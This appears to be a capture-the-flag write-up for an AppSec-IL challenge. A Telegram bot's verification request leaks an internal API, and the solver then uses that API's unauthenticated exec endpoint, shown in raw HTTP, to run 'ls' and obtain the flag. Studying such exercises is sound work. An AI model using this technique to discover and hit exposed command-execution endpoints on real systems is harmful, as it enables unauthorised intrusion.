Firstly, you can interact with telegram bot `@CSAdmin2020bot`
Put your website to Bot for verification:
```https://xxx.xxx/verify.txt```
Look at the request:
```GET /verify.txt HTTP/1.1Accept: application/json, text/plain, */*X-Sent-By: ServiceBot/1.0user-agent: ServiceBot/1.0API-Method: https://api-customerservice.appsecil.ctf.today/v1/internal/bot/api/scan?url=http://xxx.xxx/verify.txtHost: xxx.xxxConnection: close```
Yeah, so you can visit: `https://api-customerservice.appsecil.ctf.today/v1/internal/bot/api/scan`and `https://api-customerservice.appsecil.ctf.today/v1/internal/bot/`
The response:
```Welcome to ServiceBot server. Please checkout documention (https://api-customerservice.appsecil.ctf.today/v1/internal/bot/docs) for development.```
Go to the docs, you can see `/v1/internal/bot/api/assets/exec` api, using this and capture the flag:
The request:
```POST /v1/internal/bot/api/assets/exec HTTP/1.1Host: api-customerservice.appsecil.ctf.todayConnection: closeContent-Length: 17sec-ch-ua: "Chromium";v="86", "\"Not\\A;Brand";v="99", "Google Chrome";v="86"accept: application/jsonDNT: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Content-Type: application/jsonOrigin: https://api-customerservice.appsecil.ctf.todaySec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://api-customerservice.appsecil.ctf.today/v1/internal/bot/docs/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __cfduid=de841180ad593ef31014e339d62331ca11603713409
{  "cmd": "ls"}```
The response:
```HTTP/1.1 200 OKx-powered-by: Expressserver: OWASPIL/20.20access-control-allow-origin: *access-control-allow-methods: GET,PUT,POST,DELETEaccess-control-allow-headers: Origin, X-Requested-With, Content-Type, Acceptcontent-type: application/json; charset=utf-8content-length: 80etag: W/"50-2u6giumlY9sWoXJx1GIEEgv3o1E"date: Tue, 27 Oct 2020 03:37:51 GMTconnection: close
{"msg":"Congrats! Your flag: AppSec-IL{B0t_Do3nt_M34n_S3cure_A7i}","status":200}```